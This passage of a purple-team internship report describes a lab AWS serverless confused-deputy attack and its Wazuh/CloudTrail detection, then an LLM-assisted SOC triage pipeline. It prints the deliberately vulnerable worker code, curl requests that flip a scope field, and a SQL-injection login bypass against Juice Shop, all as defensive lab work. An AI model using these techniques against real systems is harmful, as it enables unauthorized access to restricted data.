— AuditWorker Lambda picks it up and runs the privileged branch

— sts:AssumeRole(FinanceAuditReadRole) = secretsmanager:GetSecretValue = RDS
SELECT

— three restricted finance-audit records returned to a user with no audit rights

The detection mirrors this split. The decision (a non-audit user asking for audit scope) is
visible only in the application log. The privileged action (the role pivot and the secret read)
is visible only in CloudTrail. It takes both t5.3.1 The idea :0 tell the whole story.
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5.3.2 What was built — the setup

Chapter 3 introduced these serverless pieces only in passing, so here is what Scenario 4
actually deployed and why it matters. The pipeline is deliberately split into a low-privilege
public path and a higher-privilege private path, joined by a queue:

e Cognito authenticates users and issues a JWT. The claim cognito:groups is the
intended source of truth for "is this user an auditor?". Our user viewer1 is in no audit

group.
e API Gateway validates the JWT and forwards the request to the public Lambda.

e ReportApi (public Lambda) writes a job to DynamoDB and drops a message on SQS.
It has low privilege on purpose.

e AuditWorker (private Lambda, inside the VPC) reads the queue. For a standard job it
returns a harmless result; for an audit job it assumes a sensitive role, reads the database
secret, queries RDS, and writes the result back.

The privilege boundary is enforced by three IAM roles. This is the heart of the design, so it
is worth showing each policy.

ReportApiRole — the public function. It can only create/read job records and send to the
gueue; it cannot read secrets or assume any role:

{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "CreateAndReadScenario3Jobs",
"Effect": "Allow",
"Action": ["dynamodb:Putltem", "dynamodb:Getltem"],
"Resource": "arn:aws:dynamodb:eu-north-1:819404925444:table/Scenario3-
ReportJobs" },
{"Sid": "SendOnlyScenario3ReportJobs",
"Effect": "Allow",
"Action": "sgs:SendMessage",
"Resource": "arn:aws:sqgs:eu-north-1:819404925444:Scenario3-ReportQueue" }
]
}

AuditWorkerRole — the private worker. It consumes the queue, updates job results, and —
crucially — may assume the sensitive audit role:

{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "ConsumeScenario3ReportJobs",
"Effect": "Allow",
"Action": ["sgs:ReceiveMessage", "sgs:DeleteMessage", "sgs:GetQueueAttributes"],
"Resource": "arn:aws:sgs:eu-north-1:819404925444:Scenario3-ReportQueue" },
{ "Sid": "UpdateScenario3JobResults",
"Effect": "Allow",
"Action": "dynamodb:Updateltem",
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"Resource": "arn:aws:dynamodb:eu-north-1:819404925444:table/Scenario3-
ReportJobs" },
{ "Sid": "AssumeFinanceAuditReaderRole",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::819404925444:role/FinanceAuditReadRole" }

]
}

FinanceAuditReadRole — the sensitive role, with a single permission: read the finance
database secret. Its trust policy allows only AuditWorkerRole to assume it, so the blast
radius is exactly one secret and one role:

{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "ReadFinanceAuditSecret",

"Effect": "Allow",
"Action": "secretsmanager:GetSecretValue",
"Resource":

"arn:aws:secretsmanager:eu-north-1:819404925444:secret:Scenario3/FinanceAuditRdsRea
der-p4wXkh" }

]
}

The design intent is sound: a low-privilege user can never read the finance secret or assume
the audit role on their own — only the worker can. The one mistake is that the worker
decides which path to run based on a field that came from the user:

# AuditWorker — the deliberate lab vulnerability
requested_scope = message.get("requested_scope", "standard")
if requested_scope == "audit":
records = query_audit_records() # runs the privileged path on the caller's say-so
That single line is the confused deputy. Everything below is what happens when a normal
user notices it.

5.3.3 The attack, step by step — and how each step is caught

The attacker is viewer1, a valid Cognito user with no audit rights. Here is exactly what they
did, in order, and where the SOC sees each move.

Step 1 — Log in as a normal user
The attacker does not break authentication; they use it. A standard Cognito login returns a
valid access token:

COGNITO_CLIENT_ID="7m2hap80308jea8phvom23eil13"

ACCESS_TOKEN=$(aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id "$COGNITO_CLIENT_ID" \
--auth-parameters "USERNAME=viewer1l,PASSWORD=$COGNITO_LAB_PASSWORD" \
--region eu-north-1 \
--query 'AuthenticationResult.AccessToken' --output text)
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How we detect it :

On its own, this is a normal login and should not alarm anyone. Its value to the SOC is
identity: ReportApi records the authenticated user and its computed group membership in
every request it logs — including actor_is_audit_user: false for viewer1. That fact becomes
the deciding evidence one step later. So the "who" is never in doubt.

Step 2 — Ask for more than you are allowed (flip one field)

The attacker sends the same request a normal user would, but changes requested_scope
from standard to audit. First the legitimate request, which correctly returns nothing
sensitive:

API_URL="https:/whc8v11gfa.execute-api.eu-north-1.amazonaws.com"

curl -sS -X POST "$API_URL/jobs" \

-H "Authorization: Bearer $ACCESS_TOKEN" \

-H "Content-Type: application/json" \

-d '{"requested_scope":"standard","target_department":"general"}'
# — report_result: { "scope": "standard", "records": [] }

Then the attack — the only change is one word in the body:

curl -sS -X POST "$API_URL/jobs" \

-H "Authorization: Bearer $ACCESS_TOKEN" \

-H "Content-Type: application/json" \

-d '{"requested_scope":"audit"'target_department":"general"}'
How we detect it — this is the key signal :

CloudTrail cannot see this: no AWS API call has happened yet, only an HTTP request. The
confused-deputy decision lives only in the application log, and ReportApi logs it explicitly —
every request emits both requested_scope and actor_is_audit_user. Wazuh reads those
Lambda logs from CloudWatch and rule 110842 fires CRITICAL: an audit-scope request
from a user whose group membership is false. In plain terms: a non-audit user just asked for
audit data. This is the single most important alert in the scenario, and this application layer is
the only place it can be seen.

Step 3 — The deputy does the privileged work (assume role, read secret)

The attacker now does nothing. Inside AWS, AuditWorker trusts the field, takes the
privileged branch, assumes FinanceAuditReadRole, and reads the finance secret from
Secrets Manager — then queries RDS.

How we detect it :

These are real AWS API calls, so now CloudTrail sees them (management events, always on
— no extra logging needed):

e 110830 — sts:AssumeRole into FinanceAuditReadRole: the identity pivot.
e 110831 — secretsmanager:GetSecretValue on the finance secret: the credential read.

e 110832 — CRITICAL: the two above within 180 seconds of each other = the
confused-deputy chain executed end to end.

The worker's own log corroborates it: rule 110844 confirms the privileged branch actually
ran.
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Step 4 — The restricted data comes back
The attacker retrieves their own job and receives the audit findings — data a viewer should
never see:

{
"requested_scope": "audit”,
"status": "COMPLETED",
"report_result": {
"scope": "audit",
"records": [
{ "audit_id": "1", "department": "Finance Audit", "risk_rating": "HIGH",
"internal_note": "Dummy finding: unapproved supplier payment pattern." },
{ "audit_id": "2", "department": "Treasury", "risk_rating": "MEDIUM",
"internal_note": "Dummy finding: liquidity forecast marked internal." },
{ "audit_id": "3", "department": "Mergers", "risk_rating": "HIGH",
"internal_note": "Dummy finding: confidential acquisition planning data." }
]
}
}

How we detect it :

The worker logs the outcome, and rule 110845 fires HIGH carrying the live record_count —
here, three restricted finance-audit records returned. This layer was validated live end-to-
end: 110841 (baseline) = 110842 CRITICAL (naming viewer1 and the source IP) = 110844
— 110845 reporting three records.

The two halves of one incident
Neither log source is enough alone, and that is the lesson of the scenario:

e The application log proves the request was illegitimate — it names who asked
(viewer1) and what they asked for (audit), which CloudTrail never sees.

e CloudTrail proves the privileged action happened — the role pivot and the secret read
— which the application cannot prove by itself.

Put together, they are the complete picture: an unauthorized user caused a privileged read of
restricted data.

5.3.4 How to prevent it
The fix is not a patch; it is correct authorization:

1. Never trust requested_scope from the body. Derive the allowed scope from the
Cognito group claim (which ReportApi already computes as actor_is_audit_user).

2. Enforce it in both functions. ReportApi should refuse an audit request from a non-
audit user, and AuditWorker should re-check before taking the privileged branch —
defence in depth.

3. Pass a server-signed context through SQS, not the raw client field, so the worker
trusts something the user cannot forge.
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4. Keep the downstream tight: a resource policy on the secret (readable only by
FinanceAuditReadRole) and a trust policy on the role (assumable only by
AuditWorkerRole), so even if the deputy fires, the blast radius stays one secret, one role.

5.3.5 Scenario 4 detection summary and ATT&CK mapping

Every step of the story maps to a rule and a technique, split across the two telemetry layers:

Attacker step Telemetry Rule(s) MITRE ATT&CK
Log in as viewerl App log 110841 (baseline) T1078 — Valid
Accounts
Flip requested_scope App log 110842 CRITICAL — T1548 — Abuse
to audit confused deputy Elevation Control
Worker assumes the CloudTrail 110830 T1550.001 —
audit role Application Access
Token
Worker reads the CloudTrail 110831 T1552 — Unsecured
finance secret Credentials
Full privileged chain CloudTrail 110832 CRITICAL T1548
executes
Restricted records App log 110845 HIGH T1213 — Data from
returned (record_count) Information
Repositories
Repeated abuse from App log 110846 T1078

one identity
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Chapter 6 : SOC Operations and Al Integration

The previous chapters built a small but realistic cloud, attacked it four different ways, and
wrote the detection rules that catch each move. That work produces a stream of alerts. This
final chapter is about what happens next: how those alerts are turned into decisions. It
walks from the theory of how a Security Operations Center (SOC) works, through the
analyst toolchain we deployed (Wazuh, Shuffle, Cortex, and DFIR-IRIS), to the piece that
ties it together — a local large language model acting as an automated Tier-1/Tier-2 analyst,
and an intelligent case-management system built on top of it.

One framing decision runs through the whole chapter. What we built is an Al-augmented
SOC with a human analyst in the loop. The machine performs the fast, repetitive Tier-1
work — normalising the alert, enriching it, correlating it against open incidents, judging
whether it is a real threat, and drafting the investigation case — while the analyst stays
firmly in control and owns every response decision. The pipeline never blocks an IP, disables
a user, or isolates a host on its own; it prepares a finished, explained case and hands it to a
person. Automated response, gated by that human, is named at the end as future work, not
something the system does today.

6.1 How a Security Operations Center works

A SOC is the team and the tooling responsible for detecting, analysing, and responding to
security incidents. Its mission is usually described as a loop: detect — triage — investigate
- respond = recover. Detection surfaces something suspicious; triage decides whether it
is real and how urgent; investigation reconstructs what happened; response contains and
remediates; recovery restores normal operations and feeds lessons back into detection.

The work is traditionally organised in tiers. Tier 1 (triage) analysts sit at the front of the
gueue, quickly separating false positives from real events and escalating what matters. Tier
2 (investigation) analysts take the escalations, pull together context from multiple sources,
and reconstruct the incident. Tier 3 (threat hunting and incident response) proactively looks
for what the rules missed and leads the response to serious incidents. Performance is
measured with metrics such as MTTD (mean time to detect), MTTR (mean time to respond),
and dwell time (how long an attacker stays undetected).

The central, chronic problem of a real SOC is alert fatigue. A SIEM can produce thousands
of alerts a day, most of them low-value or false positives, and each one costs an analyst a
context switch: open the alert, pivot to the WAF logs, pivot to CloudTrail, pivot to the host,
decide, document, repeat. Our own lab makes the point vividly — the Wazuh dashboard we
built for the Juice Shop host alone counted several hundred alerts from the attack runs, the
overwhelming majority of which are individual probe requests that belong to a handful of
real incidents. The dashboard in Figure 117 is one example: a monitoring view we built for
the OWASP Juice Shop web host. It is not the only one — the same approach produces
dashboards for the other layers of the lab, such as an AWS/CloudTrail view for the cloud
side.
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web host: 801 total alerts and 75 high/critical, broken down by attack category, top source IPs,
targeted endpoints, and alerts over time. Other dashboards follow the same pattern for the
remaining layers (for example an AWS/CloudTrail view). This volume is exactly the alert-fatigue
problem the Al layer is designed to absorb.

6.2 The traditional SOC versus the Al-augmented SOC

The value of what we built is clearest when the same alert is followed through a traditional
SOC and through ours. In both, Wazuh is the detection engine — it collects the logs,
normalises them, and runs the detection and correlation rules; it tells you something
happened, but it does not act and it does not investigate. What differs is everything that
happens after the alert fires.

In a traditional SOC, every forwarded alert lands in a human queue. A Tier-1 analyst opens
it, manually pivots across the WAF logs, CloudTrail, and the host to gather context, decides
whether it is a false or true positive, and — if it matters — hand-writes a case and escalates
it to Tier-2. The work is thorough but slow, it is inconsistent from one analyst to the next,
and it does not scale: at hundreds of alerts a day most are never given proper attention,
which is exactly how real intrusions hide inside the noise.

Our Al-augmented SOC keeps the human judgement but moves the mechanical work to
the machine. The moment an alert is forwarded, the pipeline normalises it, enriches it with
threat intelligence, correlates it against the open cases, assesses it, and drafts a structured
investigation case — in seconds, and in the same disciplined shape every time. The analyst is
then handed that finished case and makes the decision that actually requires a human: what
to do about it. The table below contrasts the two ends to end.

Aspect Traditional SOC Al-augmented SOC (this
project)
Tier-1 triage Analyst opens and judges Al assesses each alert
every alert by hand (false/true positive) in seconds
Context gathering Manual pivoting across WAF, Auto-enriched (Cortex:
CloudTrail, host VirusTotal, AbuselPDB) and
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normalised

Campaign correlation Analyst mentally links related Entity-based correlation
alerts groups a campaign into one
case
Case authoring Written by hand; quality varies Drafted by the Al, composed
by code, consistent every time
Response decision Human Human — never automated
Behaviour under load Breaks down into alert fatigue  Absorbs the volume; the
human sees cases, not raw
alerts

6.3 The end-to-end pipeline

When a Wazuh rule carrying the ai_soc_candidates group tag fires, it starts a single Shuffle
workflow that carries the alert through the whole chain and ends at a human. The tag is the
switch that decides which detections are worth automated triage; noisy low-value rules are
simply not tagged, and never reach the Al. The path is:

Wazuh = Shuffle = Cortex = local LLM = DFIR-IRIS = human analyst.

Wazuh detects and forwards the alert. Shuffle is the orchestration glue that runs every
subsequent step in order. Cortex enriches the observables with threat intelligence. The local
language model reads the enriched, normalised evidence and makes the triage decision.
DFIR-IRIS stores the result as an alert and, when warranted, a case. And then the workflow
stops — the analyst starts. The line between “automation stops” and “human starts” sits
precisely between the case DFIR-IRIS presents and the response the analyst chooses.
Figure 118 shows the complete Shuffle workflow that implements this pipeline.

< C ©Not secure sttps://160.160.67.6:34

7/ Wazuh Alert Triage

Figure 118. The Shuffle “Wazuh Alert Triage” workflow. Each node is one step of the pipeline —
normalise, create the IRIS alert, build the correlation key, search open cases, enrich with Cortex,
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ask the Al to decide, then branch to create a case, merge into an existing one, or keep it as an
alert. The workflow orchestrates everything but takes no containment action.

6.4 The analyst toolchain

Four open-source tools make up the toolchain. Each does one job well, and Shuffle wires
them together.

6.4.1 Wazuh — the SIEM and the SOC dashboard

Wazuh is the detection layer described throughout Chapters 4 and 5: decoders parse the
raw logs, rules match attack signals, and correlation rules group related signals into higher-
severity incidents. On top of the raw alerts we also built the Juice Shop SOC dashboard of
Figure 117 that visualises alert volume, attack categories, top source IPs, targeted
endpoints, and trends over time — the at-a-glance operational view a SOC analyst lives in.
Rules worth automating carry an ai_soc_candidates group tag, and only those are forwarded
to the pipeline, keeping pure noise out of the Al. Concretely, forwarding is a Wazuh
<integration> block on the manager that posts every ai_soc_candidates alert as JSON to a
Shuffle webhook over the lab’s private network — no alert data ever leaves the
environment.

6.4.2 Shuffle — orchestration

Shuffle is the workflow engine. It receives the Wazuh alert on a webhook and runs the
sequence of nodes in Figure 118. In implementation terms the workflow is built from
roughly twenty nodes — small Execute Python steps that normalise the alert and assemble
the API payloads, and HTTP nodes that call the Cortex, IRIS, and model endpoints — all
driven from that single webhook trigger. Critically, Shuffle here is used purely as workflow
glue: it moves data between the tools and transforms it, but it contains no response actions.
There is no “block IP” or “disable user” node anywhere in the workflow — a deliberate
choice consistent with keeping the human in the loop.

6.4.3 Cortex — enrichment and threat intelligence

Before the Al is asked to decide anything, the observables from the alert — most
importantly the source IP — are enriched by Cortex, an analyzer-execution engine from the
TheHive project. We configured it with the VirusTotal and AbuselPDB analyzers, each
holding its own API key; Shuffle calls Cortex over its REST API, and every analyzer runs as a
job whose report is polled and folded back into the evidence given to the Al. This is how the
pipeline answers “is this IP known-bad?” without the analyst copy-pasting it into three
websites. Figures 112 and 113 show Cortex running the analyzers and one of the returned
reports.
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C ANot secure 168.180.67.9:9801/index.html#!/jobs

+ New Analysis

Jobs History (206)
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Status Job details e PAP

[ip] 100(.]92(.]188(.]8

AnatyzersViusTtal GetReport 31 Date: 11 mintesago User:SOC/s0c_acmin Q view o beice
[ip] 100(.192(.]188(.]8

Figure 119. Cortex Jobs History — the VirusTotal and AbuselPDB analyzers being executed
automatically for the alert’s source IP as part of the Shuffle workflow.

C ANot secure 168.100.67.0:9801/index.html#!/jobs/y1kRTqABIBGTOIPHINTI

Xobshistory  OfAnalyzers W

Figure 120. A Cortex analyzer report (VirusTotal) returned to the pipeline. The structured verdict
becomes part of the evidence the Al reasons over — here, no malicious reputation, which the Al
correctly reflects in its assessment.

6.4.4 DFIR-IRIS — case management

DFIR-IRIS is the case-management platform where the output lands. It distinguishes alerts
(raw, unreviewed detections) from cases (investigations). Every Wazuh alert becomes an
IRIS alert first; the Al then decides whether that alert should open a new case, merge into
an existing one, or simply remain an alert for later review. A case in IRIS carries a summary,
a timeline, indicators of compromise (IOCs), assets, tasks, and an evidence graph —
everything an analyst needs in one place. The workflow drives IRIS entirely through its
REST API with a Bearer token: /alerts/add records the alert, /manage/cases/filter finds
related cases, and /case/summary/update, /case/timeline/events/add, and /case/tasks/add
build and grow the case. The intelligent way we use these endpoints is the subject of
Section 6.6.

6.5 The Al integration — a local model as a Tier-1 analyst

The decision-making brain of the pipeline is a large language model, and a specific design
choice defines it: the model runs locally. We host it with LM Studio on a workstation and
reach it over a private Tailscale network from the SOC box; the active model is a compact
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vision-language model (qwen/qwen3-vl-8b). Figure 121 shows it loaded and serving
inference requests.

LM Studio

Developer

© Qwen3 VL 8B

status: Running  @® | | % Server Settings | [ [@ mcp.json http://10.137.241.187:1234 (P [ ¥ Load Model

= Info % Load A Inference
Loaded Models

@ Model Information
Hodel quen/quen3-vi-gb
File Quen3-VL-8B-Tnstruct -
Format GGUF

Developer Logs
quantization (Q4KM
Arch

Capabilities

size on disk (6.1 GB

&© API Usage

API Model Identifier
qwen/quwen3-v1-8b @
The local server is reachable at:

http://10.137.241.187:1234 o

Figure 121. The local LLM served by LM Studio (*qwen/qwen3-vI-8b") over Tailscale, processing
the pipeline’s triage requests. Running the model locally keeps all alert data inside the lab, costs
nothing per token, and works offline.

Why local, and not a cloud API? Three reasons. First, data control and privacy — alert data
can contain sensitive internal detail (hostnames, IPs, payloads, user identifiers), and running
the model locally means none of it ever leaves the environment. Second, cost — triage runs
on every forwarded alert, so a per-token cloud bill would scale badly; a local model is free to
run. Third, availability — the SOC keeps working even with no internet connection to a
provider.

The model is used strictly as a Tier-1 analyst assistant — the fast first pass, not the deeper
investigation a human Tier-2 analyst performs. For each alert it is asked to: normalise the
evidence, weigh the Cortex enrichment, decide whether the alert correlates to an existing
incident, assess whether it is a false or true positive, assign a severity, and draft a structured
case with an executive summary, an attack timeline, a MITRE ATT&CK mapping, key
evidence, evidence gaps, and proposed analyst tasks. Technically it is called through an
OpenAl-compatible /v1/chat/completions endpoint with a strict JSON schema and a
temperature of 0.1, so the reply is always well-formed and machine-parsable rather than
free prose. What it is never asked to do is respond — there is no path in the prompt or the
workflow by which the model can trigger an action in the environment.

6.6 The intelligent case-management system

The case-management layer is what turns the Al's per-alert decisions into one coherent,
self-maintaining investigation. Three properties define it.

Entity correlation :Alerts are correlated by entity, not by attack type. Each alert emits a
stable campaign anchor (soc:v2:campaign:<asset>) and a set of typed entity tokens — ent:ip:
for attacker IPs, ent:host: for target hosts, ent:id: for |IAM roles, ent:res: for cloud resources —
which are stored on the case as IRIS tags. A new alert joins an open case when it shares the
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anchor or overlaps any strong token; and because the compromised host is the target of the
web stages and the actor of the cloud stages, that overlap transitively links a whole multi-
stage campaign into a single case.

A living case that never loses detail : The full running state of the case is held as a compact
JSON block embedded in the case description. On every correlated alert the merge step
reads that state, folds in the new alert, and re-renders the entire summary — the attack
timeline, the MITRE mapping, the entity inventory, the key evidence, and the evidence gaps
— and renames the case to describe what it has become (for example, Attack campaign on
ip-10-0-1-28: authentication, sql_injection). At the same time every alert keeps its own
Evidence by alert block — its request, its WAF/ModSecurity findings, and a raw-log excerpt
— appended and never overwritten, so the analyst can drill into any single detection while
still seeing the whole campaign (Figure 122).

Grounded output : The record is trustworthy by construction: the prompt forbids the model
from asserting anything absent from the evidence and routes unknowns to an explicit
evidence gaps list, the MITRE technique IDs are set deterministically from a curated table
rather than trusted from the model, and the entire visible case body is composed in code
from validated fields — the model drafts the analysis, but never hand-writes the record.

<« C  ©Not secure sttps://100.160.67.8:8000/case?cid=73

SoiRIS = #73-[MEDIUM] Potenti

Evidence by alert
¢ statistics + Alert 1-authentication - Potential brute-force authentication activity from 100.92.188.8

Wazuh rule 100092 (level 10) - alert 1788 6524 - 2026-08-29T14:56:33.048+0000

Request: POST /rest/user/login->HTTP 401

- detection came from the Wazuh rule, not an OWASP CRS match.

Alert log (excerpt - full raw log is in the Timeline tab):

{"tinestamp": "2026-08-29T14:56:33.048+0000", "rule": {"level": 16, "description”: "Potential brute-force authentication activity from 100.92.188.8", "id": "109092", "mitre": {"id": ["T1110"], "tactic": ["Cr
 —————————————

+ Alert 2 - sql_injection - SQL injection attempt detected by ModSecurity on Juice Shop from 100.92.188.8

Wazuh rule 100021 (level 5) - alert 1788016175. 184472 - 2026-08-29T15:09:35.145+0000

Activities Request: POST /rest/user/login->HTTP 200

s WAF / ModSecurity findings:

Manage cases Alert log (excerpt - full raw log is in the Timeline tab):

{"timestamp": "2026-08-20T15:09:35.145+0000", "rule”: {"level": 5, "description”: "SQL injection attempt detected by ModSecurity on Juice Shop from 100.92.188.8", "id": "108621", "mitre": {"id": ["T1100"], "
 ———————— »

Figure 122. The “Evidence by alert” section of a living case. Alert 1 (brute force, detected by a Wazuh rule
with no CRS match) and Alert 2 (SQL injection, with ModSecurity rule 942100 catching “admin' or 1=1 --
') each keep their own request, findings, and raw-log excerpt — appended, never overwritten, as the case
grows.

6.7 The pipeline in practice — one campaign, one case

The clearest way to show the system is to follow one attack from keystroke to finished case.
We use the Scenario 1 web attacks against the Juice Shop host, driven by the scenario’s
attack runner: first a brute-force burst against the login endpoint, then a SQL-injection login
bypass, both from the same source.

9199



® aymane ../Cloud Security/Project Files/Scenario 1 JCXENVIEEND © 15:19

> python3 scenariol attack_runner.py brute-force
Target: http://100.85.61.41
Attacks: brute-force
Brute force: 5 failed logins against POST /rest/user/login
attempt 1/5 -> 401
attempt 2/5 -> 401
attempt 3/5 -> 401
attempt 4/5 401
attempt 5/5 -> 401
Done -- expect Wazuh rule 100092 to fire within 66s of the first attempt
All done. Check Wazuh/IRIS/Shuffle for the resulting alerts.

® aymane ../Cloud Security/Project Files/Scenario 1 JXENVIERD © 15:56 A 5s5483ms

> python3 scenariol_attack_runner.py sqli-login
[+] Target: http://100.85.61.41
[+] Attacks: sqli-login
[+] SQLi: admin login bypass on POST /rest/user/login
[+] -> 200 (bypass succeeded)
[+] A1l done. Check Wazuh/IRIS/Shuffle for the resulting alerts.

Figure 123. The Scenario 1 attack runner firing two stages from the same source: a brute-force burst (five
failed logins, all HTTP 401) and then a SQL-injection login bypass (‘admin' or 1=1 --", HTTP 200). These
are the two events the pipeline must recognise as one campaign.

The first stage trips a Wazuh brute-force correlation rule; the alert is forwarded to Shuffle,
enriched by Cortex, and handed to the Al. No open case matches the attacker, so the Al
opens a new one. Within seconds an IRIS case exists with a coloured, structured summary:
a severity and assessment badge, a “case at a glance” table, a current-assessment paragraph,
an attack timeline, and a MITRE mapping.

L3 C ©Not secure »ttps://106.100.67.8 3 &, S A Relaunch to update }

SoiRIS = #73-[MEDIUM| Potential bru

Case summary Lstoyneed 41340PM g marn

J Attack campaign on ip-10-0-1-28: authentication, sql_injection

&  Sstatistics. > —a must review thi or closure. Thi rce and enrichment coll

v Dashboards @ Caseataglance

4. Overview Field Value

Severity MEDIUM

Assessment @ Likely TRUE POSITIVE (confidence: high)

Alerts correlated 2

Eiiiities First seen/last update (UTC) 2026-08-29T14:56:33.048+0000 — 2026-08-29T15:09:35.145+0000

Telemetry web_application

Attack families authentication, sql_injection

Campaign key s0c:v2:canpaign:1p-10-0-1-28

! Current assessment

Attacker (100.92.188.8) is actively exploiting a public-facing login endpoint via SQL injection (T1190) as part of a broader brute-force campaign (Case #73). The application returned a 200 status, indi No

malicious VT indicators, but behavior is consistent with exploitation,

RISV2.4.29

Figure 124. The Al-authored IRIS case, top of the summary. The badge marks it a likely true positive; the
“case at a glance” table captures severity, alert count, first/last-seen window, telemetry, families, and the
campaign key; the current-assessment paragraph is the model’s plain-language explanation, grounded
only in the evidence.
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eeeee
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Figure 125. The same case, continued: the attack timeline (one row per attacker action, with phase,
technique, target, and outcome) and the MITRE ATT&CK table. The technique IDs are set deterministically
from a curated table, so they are always correct.

When the second stage — the SQL injection — fires, the pipeline does not create a second
case. The new alert shares the attacker IP and target host with the open case, so the Al
routes it to merge. The case updates in place: the alert count rises to two, a second row
appears in the timeline (now T1190 alongside T1110), the SQL-injection family is added,
and the case is renamed to describe the whole campaign. The entities, key evidence, gaps,
and recommended actions all grow accordingly.
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SoiRIS = #73-[MEDIUMI Potential brute-forceauthc
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f this login ats
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Add 100.92.188.8 to firewall or WAF blocklist for further investigation.
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g Evidence by alert
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Help

Figure 126. After the merge: the entity inventory (attacker IP and target hosts), the accumulated key
evidence from both stages, the evidence-gap list, and the Al’s recommended analyst actions — the
concrete next steps a human can act on.

Everything a first-line analyst would otherwise assemble by hand is now pre-populated in
the case. The observables are recorded as IOCs, the monitored host is attached as an asset,
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each alert is a rich entry in the timeline tab with its full raw log, and the Al's proposed next
steps are created as tasks.
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Figure 127. The case IOCs — the attacker and target IPs and a payload hash, extracted automatically and
available for pivoting and threat-intel lookups.
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Figure 128. The case Assets — the monitored Juice Shop host attached to the investigation and flagged as
compromised, giving the analyst the blast-radius view immediately.
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Figure 129. The IRIS Timeline tab. Each alert is a phase-labelled event carrying its full raw log, so the
analyst can reconstruct the attacker’s sequence step by step without leaving the case.
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Figure 130. The Tasks tab — the Al’'s recommended analyst actions turned into tracked, assignable tasks,
so the human review has a concrete checklist.

Finally, the analyst is notified where they actually work. The same workflow posts a
summary to a Slack channel and sends an email, each carrying the assessment, the route
(created or updated), and a deep link back into the IRIS case.
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Figure 131. The Slack notification for the merge — “SOC case updated’, reporting the SQL-injection stage,
its assessment, the "merge_existing" route, and a link into the case. A matching “case created” message is
posted for the first stage.
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Figure 132. The email notification for the same campaign, delivering the Al’s assessment and a one-click
link back to the case in DFIR-IRIS.

The end result is the whole point of the system: a burst of individual Wazuh alerts — which
on the raw dashboard looked like several hundred disconnected events — arrives at the
analyst as one explained, evidence-grounded case describing a single campaign, ready for a
human decision.

6.8 Evaluation, limitations, and responsible Al

What worked :

End to end and on the live lab, the pipeline reliably forwarded and enriched alerts,
correlated a multi-stage campaign into a single living case, produced grounded false-/true-

96 | 99



positive assessments, kept per-alert evidence intact across merges, and delivered a
readable, colour-coded case with a correct MITRE ATT&CK mapping to Slack and email.

Limitations :

The design is deliberately honest about where it stops. The triage model is a general-
purpose LLM, not one trained for security-operations analysis, and the pipeline does not
yet use retrieval-augmented generation (RAG) to ground it in the organisation's own
detections, past cases, and threat intelligence — both of which would sharpen its
judgement. The false-/true-positive verdict is currently asked of that model; a dedicated
machine-learning classifier trained on labelled alerts would likely decide alert states (false
positive, true positive, or otherwise) more reliably. And crucially, the Al reasons only over
the single forwarded alert and its enrichment: it does not query Wazuh for the surrounding
events and alerts, and it cannot reach the attacked hosts or services to investigate them
directly. Doing that — pulling the related events from the SIEM and actively probing the
affected machines — is the work of an agentic Al that can take investigative actions on its
own, which this human-in-the-loop, non-autonomous design does not attempt. These mark
the natural next steps rather than defects in what was built.

Responsible Al and guardrails :

Because those risks are real, the design puts firm guardrails around the model. The human-
approval gate is absolute: the system proposes, a person disposes, and no containment
action is ever automated. The data given to the model is scoped and redacted (secrets and
credentials are stripped before the alert is normalised). The model runs locally, so no alert
data is sent to a third party. And the case record is composed by code from validated fields,
so the model’s influence is bounded to analysis, never to the facts on the record. Human-in-
the-loop is not an afterthought here; it is the organising principle of the whole design.
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Chapter 7 : Conclusion and Future Work

7.1 What was built

This project built a compact but realistic cloud-native SOC lab on AWS and used it in a
purple-teaming approach — simulating four representative attack scenarios and engineering
the detections that catch each one. On the offensive side, a deliberately vulnerable
environment — Juice Shop behind Nginx and ModSecurity, EC2 and serverless workloads,
IAM roles, and sensitive data in S3, RDS, and DynamoDB — was attacked across the web
and cloud layers: web exploitation and brute force, SSRF to cloud-credential theft, a
container escape that escalated to full cloud compromise, and a serverless confused-deputy
identity pivot. On the defensive side, every stage was given a detection in Wazuh, decoding
ModSecurity and AWS CloudTrail/CloudWatch telemetry and mapping each rule to MITRE
ATT&CK. Together, the attack simulations and their detections are the core contribution of
the work.

7.2 Key lessons

Several lessons recurred. The most important is conceptual: in the cloud, identity is the
perimeter, and CloudTrail — the identity activity log — is the single most valuable detection
source. Others were practical and hard-won: JSON telemetry only becomes useful once
each source has a dedicated decoder that actually extracts its fields; CloudTrail writes
global-service events (IAM, STS) to us-east-1 regardless of the account's Region, so a
detection that ignores that Region sees nothing; and IMDSv2, though a real improvement,
does not stop a host-level attacker who reaches the metadata service through a host-
networked container.

7.3 The Al layer — an experiment, and its limits

On top of the detections, an Al-augmented triage layer was built to explore whether a local
language model could correlate alerts into human-ready cases. As a proof of concept it
works — it groups a multi-stage campaign into one living, colour-coded DFIR-IRIS case with
a grounded assessment and a correct ATT&CK mapping — but it is deliberately positioned
as early work. The model is general-purpose rather than trained for security operations and
uses no retrieval-augmented grounding; a dedicated machine-learning classifier would likely
judge true and false positives more reliably; and, most importantly, the Al reasons only over
the single alert it is handed — it cannot yet query Wazuh for the surrounding events or
investigate the affected hosts and services directly. Doing that would require an agentic
system, and it is left, with the human firmly in the loop, to future work.

7.4 Future work

The natural next steps follow from those limits: extend the detection coverage and
dashboards across every layer of the environment; give the triage layer real grounding —
retrieval-augmented over the organisation's own detections and past cases — and a trained
classifier for alert states; and, only under careful human-gated controls, let it pull related
events from the SIEM and investigate hosts directly. The detection engineering built here is
the solid foundation on which any of that would stand.

Beyond the technical results, the internship at Devoteam CyberTrust was a chance to work
the way a real purple team does — building the environment, attacking it, and engineering
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the detections that make it defensible — and to see where human expertise ends and
automation might, carefully, begin.
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